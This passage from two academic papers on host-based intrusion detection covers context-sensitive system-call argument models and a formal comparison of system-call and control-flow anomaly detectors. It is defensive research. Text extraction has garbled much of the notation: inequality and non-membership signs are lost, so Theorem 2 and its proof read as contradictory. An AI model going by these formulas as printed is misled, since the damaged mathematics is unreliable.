client master key overflow, allowing an attacker to potentially execute arbitrary
code in any network service that utilizes the library.

As before, context-sensitive and context-insensitive model instances were
trained against traces of normal HTTP client behavior. The models were then
applied to a trace of an attack against OpenSSL. As before, the stack specific
models correctly identified the attack, in this case from an anomalous execve of
“/bin/sh.” The context-insensitive models, however, did not consider this system
call to be sufficiently anomalous to raise an alarm. We speculate that since the
training data included benign invocations of CGI scripts, which necessarily in-
volve issuing an execve for an external script execution, the context-insensitive
models were not able to differentiate between benign and malicious invocations
of the system call. This is because only one profile was constructed from the
training set for execve, which supports our claim that the detection capability
of argument models is measurably enhanced by instantiating models specific to
each call stack context.

4.4 Performance Overhead of Stack Unwinding

To evaluate the performance overhead of unwinding the call stacks of user
processes, we constructed a benchmark application. The benchmark invokes a
system call after creating a parameterized number of frames on the callstack. In
each run of the benchmark, 100 groups of 100 such invocations are made and the
average time to complete 100 invocations is returned. In Figure 2 we compare
the benchmark running times of an identical system in three configurations: no
auditing whatsoever, simple system call auditing (no stack unwinding), and sys-
tem call auditing with stack unwinding. The benchmark execution time is given
for a variety of stack depths.
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Fig. 2. Comparison of average execution time of system call invocation benchmark

The figure shows that there is significant overhead associated with unwinding
user call stacks while auditing. However, the overheads are roughly similar to
simple auditing for stack depths less than 40 (i.e., within a factor of two). We also
note that the benchmark is designed to expose differences in the audit times, and
differs from normal applications in that it does essentially no other processing
aside from rapidly invoking system calls.

5 Related Work

Research on model-based detection using system call invocation models origi-
nated with [4], which analyzes fixed-length sequences of system calls, without
considering arguments or return values. The model of legitimate program behav-
ior is built by observing normal system call sequences in attack-free application
runs. Alternative data models for the characterization of system call sequences
were proposed in [25] and [26].

These detection techniques could be easily evaded by mimicry attacks, in which
an exploit is crafted to produce a legitimate sequence of system callswhile perform-
ing malicious actions [24]. The introduction of gray-boxand white-box approaches,
which use additional information such as the stack context and information derived
through static analysis techniques, have considerably raised the bar for this kind
of attack [18,3,5]. Nevertheless, these approaches do not provide effective model-
ing of system call arguments, giving the attacker a considerable amount of freedom
in crafting an exploit that evades detection. Therefore, black-box, learning-based
models that take into account the arguments of system calls were introduced to
further limit the ability of an attacker to perform mimicry attacks [12,15].
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The system call automaton proposed in [18] was further extended to include
the analysis of system call arguments in [19]. The authors motivate this extension
by saying that “clearly, it is not enough to know that something is being written
by a program – we need to identify the object being modified by the write
[operation].” The difference with respect to our approach is that we perform
more sophisticated argument modeling and include the complete function call
history instead of only the program counter of the system call. Therefore, we are
able to detect data modification attacks as well as deviations from established
site-specific behaviors that cannot be statically derived.

A further class of proposals extracts models directly from the program’s source
code or binary representations using static analysis methods [23,7,8,3,27]. These
systems use static analysis to derive the system call automaton, which is then
extended with call stack information to remove impossible paths and increase
the precision of the detection process.

6 Conclusions and Future Work

In this paper, we presented a novel approach to the detection of anomalous sys-
tem calls. Different from previous approaches, our solution combines dynamic
stack context analysis with the characterization of system call arguments. The
resulting context-sensitive system call model is effective against data modifi-
cation attacks, which do not modify the sequence of system calls executed by
vulnerable applications. It also improves upon the false positive rates of models
that only operate on argument values and ignore context information.

We have also introduced a metric that quantifies the degree to which system
call arguments are unique to particular execution contexts. Applying this metric
to a number of programs deployed in a production setting showed that the set
of argument values is optimally or nearly optimally partitioned by the argument
sets associated with individual stack configurations. Future work will explore the
utility of applying this metric to other intrusion detection domains.

The use of system call argument modeling is orthogonal with respect to analy-
sis techniques that characterize system call sequences. In future work, we will
explore how the two approaches can be composed to achieve even more precise
detection and better resilience to mimicry attacks2.
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Abstract. Many host-based anomaly detection systems monitor process execu-
tion at the granularity of system calls. Other recently proposed schemes instead
verify the destinations of control-flow transfers to prevent the execution of attack
code. This paper formally analyzes and compares real systems based on these
two anomaly detection philosophies in terms of their attack detection capabilities,
and proves and disproves several intuitions. We prove that for any system-call se-
quence model, under the same (static or dynamic) program analysis technique,
there always exists a more precise control-flow sequence based model. While hy-
brid approaches combining system calls and control flows intuitively seem advan-
tageous, especially when binary analysis constructs incomplete models, we prove
that they have no fundamental advantage over simpler control-flow models. Fi-
nally, we utilize the ideas in our framework to make external monitoring feasible
at the precise control-flow level. Our experiments show that external control-flow
monitoring imposes performance overhead comparable to previous system call
based approaches while detecting synthetic and real world attacks as effectively
as an inlined monitor.

Keywords: Anomaly detection, Formal analysis, Program models.

1 Introduction

Over the years, researchers have developed an abundance of host-based intrusion detec-
tion systems, utilizing a variety of mechanisms. Most systems, e.g. [11,29,9,10,17,16,
12,27], model an application’s normal system call usage and use run-time monitoring to
detect attacks that cause behavior deviating from the model. While useful attacks typi-
cally require system calls, they provide only a coarse view of a process’ execution. The
existence of mimicry attacks [32,21] that cloak an attack by generating valid sequences
demonstrates that attackers may exploit this coarse view. System-call based detectors
have another drawback in that they detect attacks well after execution is diverted—at
best at the next system call invocation. Monitors verifying system call usage are often
implemented as an external process, which eases implementation, debugging, and data
protection.

Recently proposed schemes take an alternative approach that detects attacks when
they divert control flow. CFI [5], a static analysis based system, efficiently verifies dy-
namically computed control-flow targets in the program. It guarantees [6] that the exe-
cution path will be restricted to the statically generated control flow graph (CFG) of the
program, and it can thus detect and stop attacks involving illegal control transfers. In
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contrast to external monitors verifying a process’ system call use, CFI inlines its checks
into the existing code of a program. While inlining complicates monitor development,
debugging, and application to arbitrary binary code, it offers exceptional performance
when verifying fine-grained control flow operations.

Speculation about these systems’ designs leads to several intuitive conclusions:

– Control-flow based models can provide better attack detection than system-call
based models.

– A hybrid model combining control-flow operations and system-call operations bet-
ter detects attacks than a control-flow based model alone, particularly in the event
that static program analysis incompletely identifies control-flows requiring verifi-
cation code.

– An external monitor cannot efficiently verify control-flow operations.

In this paper, we formally prove the first intuition, disprove the second, and provide
experimental evidence against the third. Our goal is to provide clarity to host-based
intrusion detection systems research.

In order to understand the strengths and weaknesses or limitations of these anomaly
detection schemes, we provide a formal framework to analyze their precision in terms
of how close they can model a program’s normal execution. We first show that for any
given system-call sequence based model derived from any program analysis technique
(static vs dynamic), there always exists a more precise control-flow sequence based
model. Such a control-flow based model can precisely match the normal execution be-
havior of the program from which it was derived, considerably limiting mimicry attacks
that plagued system-call based intrusion detectors.

Control-flow sequence based intrusion detectors require the identification of
security-critical control flows in a program. A system using static program analysis to
identify such control flows may incompletely analyze the program’s code due to unde-
cidable problems in static analysis [25]. As a result, a program may contain unchecked
control flows. System-call sequence based intrusion detectors face no such shortcom-
ing, as they can completely mediate the system call interface without complete program
analysis. Intuitively, we expect hybrid systems combining control flow verification with
system call verification, such as PAID [23] to provide better security than control-flow
based systems alone. If an attacker breaks out of control-flow checks due to a missed
control flow, they can still be detected by the system call checks. Using our framework,
we prove that even if static analysis is incomplete, hybrid models are not more pre-
cise than control-flow models. With appropriate control-flow checks in place, system
call checks are redundant and could be removed for model simplification and improved
performance.

Finally, we provide experimental evidence against the intuition that efficient enforce-
ment of fine-grained control-flow models can only occur with an inlined monitor. For
a fair comparison between the performance overhead of system call and control-flow
based approaches, we have implemented an efficient external control-flow based IDS.
Using principles developed in our analysis of system-call and control-flow based sys-
tems, we apply program transformation to reduce the number of control-flows events
exposed to the monitor and improve performance without sacrificing precision. The
performance overhead introduced by our detection system, ranging from 1% to 23%, is
comparable to previous external system call monitoring. The results also show that our
external control-flow monitor can detect a wide range of synthetic and real attacks.
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Our current formal framework considers the sequence in which control flows and
system calls are executed. As future work, our analysis will incorporate the notion of
data in order to cover approaches that can detect data-only attacks such as program
variable or system-call argument manipulation.

2 Related Work

The search for defensive techniques that can detect application-level attacks has led to a
rich research area. We consider examples of host-based anomaly detection systems that
characterize normal program execution with a language of allowed event sequences.
System calls predominantly form the basis of these events, although recent work has
developed new models based upon finer-grained control-flow information. Since a pri-
mary aim of this paper is to provide illumination of the differences among these model
types, we also review previous work in formal analysis of sequence-based models.

Numerous prior systems detect application-level attacks by observing process ex-
ecution at the granularity of system calls [9, 14, 15, 20, 26, 30, 31, 16, 13, 27]. Rather
than directly detecting the execution of malicious code, these tools attempt to detect
attacks through the secondary effect of the malicious code or inputs upon the system
call sequences executed by the process. By allowing attack code to execute, these sec-
ondary detectors provide attackers with opportunities to evade detection. Mimicry at-
tacks [32,28,18] succeed by appearing normal to a system-call sequence based detector.
System call models have grown in complexity to address mimicry attacks, but remain
vulnerable because they allow invalid control flows to execute [21]. We note that our
paper does not consider non-sequence aspects of system call models, such as character-
izations of expected argument values [7, 22].

Control-flow based techniques [5, 34] detect various code execution attacks by ver-
ifying destinations of control-flow transfers. Abadi et al. [5] developed Control Flow
Integrity (CFI), a recent implementation of control-flow verification. CFI constrains
allowed process execution to a model of valid control-flow transfers defined by the pro-
gram’s static control-flow graph (CFG). CFI uses binary rewriting to place instructions
immediately before dynamically computed control-flow instructions for inlined verifi-
cation of the destination of the transfer. An attacker cannot escape the inlined checks [6]
because the static source code analysis or hinted binary analysis can completely identify
the set of control transfer points in the program. In this paper, we generalize the idea
of CFI to any control-flow based model, including models constructed from training,
containing path sensitivity or resulting from incomplete binary analysis.

Given two different classes of sequence-based models, those using system calls and
those using control flows, we aim to reason about their attack detection ability. For-
mal analysis has been previously applied to host-based intrusion detection. Wagner and
Dean developed a precision metric called average branching factor (ABF) [31], but this
metric is specific to system-call models and cannot be adapted to models of control
flow. Chen and Wagner [8] and Giffin et al. [18] use model-checking to find allowed
sequences of events in system-call models that execute attack behavior. As with ABF,
those tools cannot be adapted to also reason about control-flow models. Gao et al. [12]
provided a systematic way of comparing various system call models by organizing them
in three axes of design space. This establishes a relation between dynamically and sta-
tically constructed system call models, but provides no mechanism to compare system
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call models with control-flow models. Our formalization not only provides the means
to directly compare system-call models with control-flow models, but also provides
insight into what effects the precision of control-flow models.

Although the primary intent of this paper is to provide a comparative analysis of
system-call and control-flow based models, we additionally consider environments
where a hybrid model containing both sets of events may be advantageous. Xu et al. [33]
insert waypoints into program code, but these waypoints are not used to verify all com-
puted transfers. PAID [23] inserts notify system calls before indirect function calls so
that the monitor can correctly follow indirect control flows. Recent improvements [24]
apply this technique to binaries and also incorporate return address checking. We show
that hybrid approaches do not provide fundamentally more attack detection capability
than control-flow based approaches even in the case of incomplete program analysis.

We also implement an external monitoring based control-flow intrusion detection.
We generate the events visible to an external monitor via insertion of null system calls
or software interrupts. The Dyck model [17] uses similar code instrumentation tech-
niques. However, the monitor enforcing a Dyck model uses null call events to improve
efficiency, not security. In this paper, we use a mechanism similar to null calls for secure
exposure of a process’ control-flow behavior.

3 Formal Framework for Analyzing Precision

The intrusion detection capability of an IDS is limited by the set of program generated
events visible to it for modeling and monitoring. In order to compare the attack detec-
tion capabilities, it is worthwhile to analyze the relative abilities of recent approaches
in terms of how precisely they can represent the underlying normal behavior of the pro-
gram they try to enforce. Although our framework enables formal analysis of models
comprising any event, we focus on system calls and control-flow transfers. We develop
definitions so that they can be applied to both statically and dynamically generated mod-
els. We present a control-flow sequence based IDS model, which is more precise than
any system call sequence based model representing the same valid program execution
behavior. This model can precisely represent a program’s execution, but requires the
exposure of all control-flow events in a program. In Section 4, simplified derivations of
this model is used to analyze the precision of practical control-flow based approaches.

Section 3.1 begins with an abstract model of program execution from which we de-
rive all sequence-based models used for intrusion detection. Section 3.2 defines our
approach of comparing the precision of different models. We derive system-call based
models in Section 3.3 and show that it imprecisely characterizes valid program execu-
tion. In Section 3.4, we derive control-flow based models that precisely describe valid
execution and consider mimicry attacks in Section 3.5.

3.1 Abstract Model of Execution Sequences

Our abstract model considers the sequence in which code is executed. The smallest unit
of executed code is a machine instruction, which can be uniquely identified by its ad-
dress in memory. Therefore, an execution sequence can be represented as a sequence of
addresses from where instructions are executed. Without loss of generality, we consider
a coarser basic block unit of execution. A basic block is an ordered set of instructions
that are executed in sequence as a unit; execution enters only at the start of the block
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Fig. 1. An example program to illustrate control flow
and system call based models. The vulnerable func-
tion has not been shown.

Fig. 2. The language of valid execution
sequences Ev as constructed by a static
or dynamic analyzer

and exits only at the end. The address of the first instruction uniquely identifies a ba-
sic block in memory. Basic blocks can also be used to represent high-level statements,
making our analysis applicable in the context of both source code and binaries.

Our abstract models of execution are built on sequences of basic blocks executed by
a running program. For a program Pr, let Bv denote the complete set of basic blocks in
Pr that can be executed during some valid execution. We use the term valid and normal
interchangeably throughout the paper because from the point of view of an anomaly
detector, anything that is deemed normal is considered valid. Figure 1 lists an example
program and the basic blocks in its set Bv. Let Bf be the set of all basic blocks that
may be feasibly executed in any run of the program. Note that feasible execution differs
from valid execution and includes blocks belonging to the program, unknown blocks
containing code maliciously introduced into Pr’s address space, and blocks generated
by disassembling from the middle of instructions belonging to the program. Clearly
Bv ⊆ Bf . We next present the abstract models of valid and feasible execution, which
are languages over the sets of program points Bv and Bf , respectively.

The Language of Valid Execution. The language of valid execution Ev ⊆ Bv
∗ con-

tains all sequences of basic blocks from Bv that denote valid execution behavior of Pr.
The actual sequences contained in Ev depend upon the algorithms used to compute a
program’s valid behavior; our framework is general and suitable for any algorithm able
to generate Ev . For example, static and dynamic analysis each produce differing char-
acterizations of valid behavior Ev . In the domain of static analysis, different approaches
produce models having different sensitivities to program behavior [9]. Dynamic analy-
sis approaches may consider paths that seem valid from the program’s static view as
invalid. Our framework derives control-flow and system-call sequences from any given
Ev . Therefore, our method of comparing precision is orthogonal to the choice of method
used to generate abstract model of valid execution Ev .

Figure 2 shows two different languages Ev constructed from typical static analysis
and dynamic analysis of the example program. The shaded boxes highlight where the
sequences differ. Note that the example program has correlated execution between the
direction of the if branch in main and the target of the indirect jump at B7. The Ev

constructed from context sensitive static analysis has four possible execution sequences
and fails to characterize the correlated execution. However, the dynamically constructed
model contains only two sequences because the correlation occurring actual execution
carries over to the observed execution sequences.
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The Language of Feasible Execution. The language Ef ⊆ Bf
∗ represents all feasible

execution sequences of code in Bf that Pr’s execution can generate. Again, feasible
execution need not be valid execution.

The language Ef contains both valid executions and also executions that occur due
to an attack. In the example program, any block may appear after blocks B6, B7, and
B8 in sequences of Ef because it may be possible for an attacker to change the targets
of the control transfers found in those blocks to any address in memory.

The effectiveness of any IDS can be improved by restricting the set of feasible execu-
tion paths. Non-writable code (NWC), a standard assumption in almost all systems, re-
stricts feasible execution by disallowing executions that directly modify program code.
Non-executable data (NXD) restricts Ef so that executions containing code injection
attacks would no longer be feasible behavior. For practical use, the system-call based
systems of Section 3.3 require neither NWC nor NXD, but the control-flow based sys-
tems in Section 3.4 require at least NWC. Throughout the paper, we assume the usage
of NWC.

3.2 Approach of Comparing Precision

We now define how the precision of IDS models can be compared in our framework.
For any IDS that models a particular set of events X generated by a program, we can
generate the language of valid sequences of such events from the execution language
Ev . We will use the notation EX

v to denote the language containing any sequence of
basic blocks that generate a valid sequence of such events. Therefore, any feasible ex-
ecution of the program that will be considered valid by the IDS is in Ef ∩ EX

v . An
execution e ∈ Ef is detected as an anomaly when e /∈ EX

v . We will use the following
definition for comparing precision of various approaches (illustrated in Figure 3):

Definition 1. Given the sequence of basic blocks considered valid by two IDSs model-
ing event categories X and Y from valid executions in Ev are EX

v and EY
v respectively,

the former is more precise than the latter if EX
v ⊆ EY

v , but not vice versa while keeping
Ev ⊆ EX

v and Ev ⊆ EY
v .

From the definition above, IDS modeling X can detect any anomaly detected by the
IDS modeling Y . This is because for any feasible execution e ∈ Ef , if e /∈ EY

v then
e /∈ EX

v also. However, more attacks are detectable by the IDS modeling the events X ,
which are executions in Ef ∩ (EY

v − EX
v ).

3.3 System Call Sequence Based Intrusion Detection

Our approach for formalizing the precision of system call sequence based schemes is to
first derive the language of system call sequences homomorphic to Ev , and then use the
inverse homomorphism to identify the language of actual execution behavior allowed by
a system call model, which we denote as ES

v . Let ΣS be the set of symbols containing
all system calls. Without loss of generality, we assume that a basic block contains at
most one system call because a block can be subdivided into multiple blocks to meet
the requirement. Let σ � b hold if basic block b contains system call σ. Define the
homomorphism hs : B∗

f → Σ∗
S as follows. For any b ∈ Bf ,

hs(b) =

{
σ, if σ � b;
ε, otherwise.
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Fig. 3. Illustration of the comparison of precision of
two different approaches modeling different types of
events.

Fig. 4. Relations among various lan-
guages in our proofs. Edges indicate
functional or homomorphic relation-
ships.

The language Sv of all system call sequences produced by any valid execution of Pr is
then Sv = hs(Ev). The language containing sequence of basic blocks producing valid
system call sequences ES

v can be found using the inverse homomorphism h−1
s : Σ∗

S →
B∗

f on Sv . It produces the language ES
v that is less restrictive than Ev:

ES
v = h−1

s (Sv) = {e ∈ B∗
f : hs(e) ∈ Sv}

The imprecision of system call sequence based approaches can be realized in our
framework from Ev ⊆ ES

v . Figure 4 illustrates this relationship along with other lan-
guages presented throughout the paper. Using the homomorphism, e ∈ Ev =⇒ s =
hs(e) ∈ Sv =⇒ e ∈ ES

v . The contrapositive states that if an executing program
generates a system call sequence s /∈ Sv, then s is generated by a program execution
e /∈ Ev. An invalid system call sequence implies invalid execution. However, the con-
verse is not true; an invalid execution does not imply an invalid system call sequence.
This imprecision allows any feasible execution in ES

v ∩ Ef ⊇ Ev to be considered
valid. Mimicry attacks [32, 21] that utilize invalid execution exploit this imprecision.

Our framework can be used to derive the known results of Gao et al. [12] indicating
that a system call’s program counter [27] and calling context [10] improve the precision
of system call models by producing a more restrictive ES

v . However, unless an execution
sequence generates a unique system call sequence, ES

v can never be as precise as Ev .
Using control-flow sequences, we can capture the association between consecutively
executed basic blocks in order to uniquely represent executions.

3.4 Control-Flow Sequence Based Intrusion Detection

In order to be able analyze the precision of any control-flow based model, in this section
we present a control-flow sequence based IDS model, which for now, assumes the expo-
sure of all control-flow transfers in a program. We prove that given Ev , we can always
derive a control-flow sequence model that provides detection as precise as Ev. This pro-
vides an important theoretical result: for any system-call sequence based model derived
using any program analysis approach, there always exists a more precise control-flow
based model.
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A control-flow sequence based model characterizes the sequences of control transfer
instructions or events that move execution flow from the end of one basic block to the
start of another. Let bS be a special start symbol. Then ΣC = ((Bf ∪{bS})×Bf) is the
alphabet of control-flow events. Each alphabet symbol represents a pair of the addresses
representing a block containing a control-flow transfer instruction and targeted block of
control transfer.

A control-flow sequence language is a subset of Σ∗
C . We cannot directly derive a

control-flow sequence language from an execution sequence language using a homo-
morphism because a control-flow transfer depends on two basic blocks—the source
and the destination. Instead, we define a function cflow : B∗

f → Σ∗
C that derives

the control-flow sequence from an execution sequence string as follows. For any string
e = b1b2b3...bk−1bk ∈ B∗

f ,

cflow(e) = (bS , b1)(b1, b2)(b2, b3)...(bk−1, bk)

In a minor overloading of notation, we also denote the application of cflow to every
sentence in a language as cflow(L) = {cflow(e) : e ∈ L}. Then, we can derive the
language LC ⊆ Σ∗

C .
Any language representing a sequence of basic blocks is homomorphic to a language

of control-flow sequences:

Theorem 1. For any language L ⊆ B∗
f there exists a control-flow sequence language

LC ⊆ Σ∗
C and a homomorphism hc : Σ∗

C → B∗
f such that L = hc(LC).

Proof. Our proof is by construction. We first construct a control-flow sequence lan-
guage LC using LC = cflow(L). We now define the homomorphism hc : Σ∗

C → B∗
f

as follows:
hc((b1, b2)) = b2

The homomorphism hc is constructed in such a way that we can use it on a control-flow
sequence c = cflow(e) derived from some execution sequence e ∈ L, and get the
execution string e back, i.e. e = hc(c). Therefore, L = hc(LC).

We use cflow to derive control-flow sequence languages from Ev and Ef . The lan-
guage Cv = cflow(Ev) contains only valid control-flow sequences, and Cf =
cflow(Ef ) contains feasible sequences. Figure 4 illustrates the relations.

This control-flow sequence model precisely characterizes execution. Let EC
v de-

note the language of all basic block sequences that can generate valid control-flow
sequences, giving EC

v = cflow−1(Cv). We are going to show that Ev = EC
v . From

the definition, Ev ⊆ cflow−1(Cv). Our approach is to show that cflow−1(Cv) is con-
tained in Ev . We first prove that every execution sequence generates a unique control-
flow sequence by showing that cflow is one-to-one.

Theorem 2. Let e1, e2 ∈ B∗
f . Then e1 = e2 =⇒ cflow(e1) = cflow(e2).

Proof. Assume that cflow(e1)=cflow(e2). Let c1 =cflow(e1). Then e1 = hc(c1) =
hc(cflow(e1)). Similarly, e2 = hc(c2). Since c1 = c2, e1 = e2, which is a contradic-
tion. Therefore, cflow(e1) = cflow(e2).

From Theorem 2, it is clear that cflow is injective, and ∀c ∈ Cv : ∃e = cflow−1(c) =
hc(c) ∈ Ev . Hence, cflow−1(Cv) ⊆ Ev . Therefore, cflow−1(Cv) = hc(Cv) = Ev .
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An execution sequence is therefore an anomaly if and only if its control-flow sequence
is an anomaly.

Corollary 1. For any system call sequence model Sv derived from a valid/normal
execution Ev , there always exists a more precise control-flow sequence model Cv :
EC

v ⊆ ES
v , but not vice versa where EC

v = cflow−1(Cv) = Ev and ES
v = h−1

s (Sv).

Therefore, any attack that can be detected by a system call sequence language Sv can
be detected using the control-flow sequence language Cv , along with more attacks as
described in the next section.

3.5 Mimicry Attacks

A mimicry attack [32] is a variant of an attack that achieves the same goal, but can evade
detection by an IDS. Better model precision limits opportunities of possible mimicry
attacks. For the models of this paper, we set a broad definition of mimicry attacks:

Definition 2. Given a malicious sequence of events required for an attack, a mimicry
attack A ∈ Ef is a feasible execution that can achieve the same malicious goal and
A ∈ EX

v for EX
v being the basic block sequence language considered valid by an IDS

modeling events X .

Mimicry attacks on system call based IDS have the freedom of generating feasible exe-
cutions outside of Ev but in ES

v to evade detection [21]. Since the control-flow sequence
based model is as precise as Ev, any such mimicry attack for which A /∈ Ev can be
detected. However, any mimicry attack that switches between valid execution paths,
or modifies data only without altering paths cannot be detected. This is a fundamental
limitation of any approach based on execution sequences without data.

4 Applying Formalisms to Real Intrusion Detection

Our control-flow sequence based model provides the foundation to analyze any control-
flow based approach. As presented, the model requires complete exposure and complete
history of all control-flow events of a program. Practical control-flow based approaches
usually cannot satisfy this requirement due to undecidability problems in program analy-
sis and performance cost. In this section, we simplify our model to analyze the precision
of control-flow approaches based on the exposed and covered control-flow events.

CFI [5] only checks the targets of dynamically computed control-transfer instruc-
tions, yet it was proven [6] to keep the execution of a program in the statically computed
CFG. However, models extracted using dynamic analysis and path sensitive models [34]
may need static branches to be exposed for monitoring. Moreover, a control-flow event
may be valid or invalid depending on the occurrence of a prior control flow. Hence,
the control-flow events that need to be exposed for verification depend on the valid
execution model that is being enforced.

We provide a generic framework to derive a simplified yet precise control-flow model
that only requires the exposure of a subset of control-flow events. Using this framework,
we analyze the precision of CFI in comparison to the system call based models. Our
framework also provides insight into derivation strategies for precise dynamically con-
structed control-flow models. Our goals are different than that of Abadi et al. [6], which
proved that the stateless checks provided by CFI were sufficient to constrain program
control flow to the static CFG.
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4.1 Retaining Precision While Simplifying Models

We simplify control-flow sequence models by deriving a simpler language from Cv .
We remove control-flow events from Cv that do not help a monitor identify an invalid
sequence. If a feasible control-flow event can cause an anomaly or its appearance cor-
relates with another anomalous control-flow event, then it cannot be discarded. We call
such events essential control-flow events. Any control-flow event emanating from a
block that has no essential control-flow events can be discarded without affecting the
precision of the model.

Figure 5 illustrates the statically and dynamically constructed control-flow sequence
language Cv of the program presented in Figure 1. Invalid but feasible control-flow
events emanating from the basic blocks of the program are shown using dotted arrows.
Notice that for both models, basic blocks B6, B7 and B8 have invalid but feasible
control-flow events. Each control-flow transfer instruction in these blocks uses a dy-
namically computed target, and can feasibly point anywhere in memory to generate in-
valid sequences. Additionally, in the Cv constructed from dynamic analysis, the JUMP
instruction at block B6 is correlated with the branch in B1. The control-flow event oc-
curring at B1 is required to validate the event at B6. These control-flow events have to
be visible to the model and cannot be removed.

We first define essential control-flow events as any of the following:

1. Anomaly Generating Control-flow Event (AG). An AG event is the first control-
flow event in a sequence to turn a valid sequence into an invalid, but feasible se-
quence. A control-flow event c is an AG if ∃ũ, ṽ, w̃ ∈ Σ∗

C , ∀x̃ ∈ Σ∗
C : ũṽ ∈

Cv ∧ ũcx̃ /∈ Cv ∧ ũcw̃ ∈ Cf (refer to Figure 6). If c never appears in any valid
control-flow sequence, then we call it an independent anomaly generator (IAG),
which is always anomalous regardless of the events appearing before it. Otherwise,
we call c a dependent anomaly generator (DAG), which is invalid based upon some
previous control-flow events in the sequence. A typical example of an IAG is a
feasible control-flow transfer into injected code. In addition, it can be an invalid
control-transfer to existing code, such as the event (B6, B5) in Figure 5. Examples
of DAG events are function returns that may be sometimes valid and sometimes
invalid based on the call site.

Fig. 5. Simplification of the control-flow sequence language Cv derived from the execution lan-
guages given in Figure 2 (The languages are shown by finite state automata)
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Fig. 6. Illustration of an AG
control-flow event c

Fig. 7. The two cases where c is an AC event correlated with
the DAG event d

2. Anomaly Correlating Control-flow Event (AC). A control-flow event c is an AC
event if its appearance is correlated with a dependent anomaly generator (DAG)
event d. Examples are function calls instructions or static branches. More precisely,
in order for c to be an AC of d (assume that c = (b1, b

′
1) and d = (b2, b

′
2) here),

two conditions must be satisfied. First, in all valid control-flow sequences follow-
ing the event c, the next control-flow event emanating from b2 must be d. Second,
if c′ is another event sharing either the source (e.g. conditional branches) or desti-
nation block with c (e.g. function CALL instruction), following c′, if d is the next
event emanating from b2, it generates an invalid sequences. We show two types
of correlation that broadly encapsulates all possible cases in Figure 7. In the dy-
namic analysis case of Figure 5, (B1, B2) is an AC event correlating with the
DAG (B6, B7). If (B1, B3) appears instead of (B1, B2), (B6, B7) generates an
invalid control-flow sequence. In case a DAG has multiple AC events, the first one
is selected. Our definition can be extended to handle complex cases that involve
recursion by incorporating the notion of a stack, and correlating a DAG event with
an AC event on top of the stack.

The set of essential basic blocks Be ⊆ Bv contains blocks having at least one outgo-
ing essential control-flow event. The basic blocks in the set Be are the only ones whose
control-flow events need to be exposed for verification. As a result, when a program
executes, sequences of control-flow events will be generated from these blocks only.

In Figure 5, the statically constructed Cv has the essential basic blocks Be =
{B6, B7, B8} because independent anomaly generating control-flow events exist from
them. In the dynamic analysis case, the control-flow events (B6, B7) and (B6, B8) are
dependent anomaly generators because they are sometimes valid and sometimes invalid.
Since the appearance of (B1, B2) and (B1, B3) correlate to the validity of (B6, B7)
and (B6, B8) respectively, they are anomaly correlating control-flow events. There-
fore, Be = {B1, B6, B7, B8}. Notice that even though block B1 contains a branch
with static target addresses, it must be visible to the monitor.

Our simplification generalizes to any control-flow model. Unlike CFI, which only
considers dynamically computed control-transfer instructions, the set Be may include
control-transfer instructions with static targets if they become an anomaly generating
or correlating event. For example, a model enforcing correlated branching would verify
the static branches that were correlated. Be may exclude computed control flows if
analysis reveals that an attacker cannot control the destination. For example, an indirect
jump reading from a read-only jump table may be safely left unverified.

We define a smaller alphabet ΣCE = Be × Bf containing only the exposed control-
flow events. The simplified subsequence language is derived using the homomorphism
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hce : Σ∗
C → Σ∗

CE , defined as:

hce((b1, b2)) =

{
(b1, b2), b1 ∈ Be;
ε, otherwise

The simplified model is now Ce = hce(Cv), which is a language of subsequences
of strings in Cv . Again, refer to Figure 5 for the derived Ce of the running example.
The model appears to be less precise than the full control-flow model Cv . The inverse
homomorphism h−1

ce applied to Ce yields Ce
v ⊇ Cv . However, this imprecision does not

contain any feasible anomalous control-flow sequence:

Theorem 3. If Ce
v = h−1

ce (hce(Cv)), then Ce
v ∩ Cf = Cv .

Proof. We first prove that Cv ⊆ Ce
v ∩ Cf , and then prove Ce

v ∩ Cf ⊆ Cv. The first
part of the proof is straightforward. By definition, Cv ⊆ Cf and Cv ⊆ Ce

v . Therefore,
Cv ⊆ Ce

v ∩ Cf .
For the second part of the proof, we show that if c ∈ Ce

v ∩ Cf , then c ∈ Cv .
The proof is by induction on the length of the string c. Since c ∈ Cf , by definition
c = (bS , b1)(b1, b2)...(bl−1, bl) with ∀i : bi ∈ Bf . Let cs ∈ Σ∗

CE be the subsequence
of control-flow events in c emanating from basic blocks in Be, i.e. cs = hce(c). Since
c ∈ Ce

v , ∃c′ ∈ Cv : hce(c′) = cs = hce(c).
For the induction base case, we show that some string in Cv begins with (bS , b1). If

bS /∈ Be, then (bS , b1) cannot be an essential control-flow event. This means that no
anomalous sequence can begin with bS . Therefore, some sequence in Cv begins with
bS . On the other hand, if bS ∈ Be, then (bS , b1) is in the subsequence cs and should
be the first event in the subsequence. Since ∃c′ ∈ Cv : h(c′) = cs and control-flow
events emanating from bS can only be found at the beginning of a string, c′ begins with
(bS , b1).

For the induction step, we assume that the (k−1) length prefix of c is also a prefix of
some string c′ ∈ Cv . We have to prove it for the k length prefix. In other words, assum-
ing that (bS , b1)(b1, b2) ... (bk−2, bk−1) is a prefix of a valid control-flow sequence, we
have to show that the next event (bk−1, bk) does not induce an anomaly or create a pre-
fix of a sequence outside Cv . First, for bk−1 /∈ Be, it is obvious from the definition of
Be that no control-flow event emanating from bk−1 can create an anomalous sequence.
Therefore, the k-length prefix of c has to be the prefix of some sequence in Cv . Suppose
bk−1 ∈ Be. This means that (bk−1, bk) is in the subsequence cs. The k-length prefix
can be invalid only if (bk−1, bk) is an anomaly generating event. If it is, then we can
first reject the possibility that it may be an independent anomaly generator because it
cannot be contained in any subsequence of strings in Cv . Therefore, it should be a de-
pendent anomaly generator event. Even in this case, we can prove that it will not create
an anomalous prefix of length k. For (bk−1, bk) to create an anomalous prefix, some
anomaly correlating control-flow events should be missing or not in valid order in the
k − 1 length prefix. If that was the case, then the subsequence of essential control-flow
events generated by the k − 1 prefix cannot be the prefix of any subsequence generated
by strings in Cv . That contradicts c ∈ Ce

v . Therefore, some string in Cv should have the
k length prefix of c.

Hence, exposing events from Be and checking with the simplified subsequence model
Ce is necessary and sufficient to detect anomalies with the same precision as the com-
prehensive sequence language Cv with all control-flow events exposed.
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Corollary 2. Checking exposed events from the essential set Be with the simplified
subsequence language Ce is as precise as checking all events with the comprehensive
model Cv, which is equivalent to the precision of Ev .

If basic blocks in Be are missed, control-flow models become imprecise. The relative
precision depend on the covered basic blocks. Models with more exposed control-flow
events are more precise.

Corollary 3. For the same valid and feasible executions of a program, if two control-
flow based approaches expose control-flow events from set of basic blocks BXandBY

respectively, where Be ⊇ BX ⊇ BY , then the former is at least as precise as the latter,
i.e. Ev ⊆ EX

v ⊆ EY
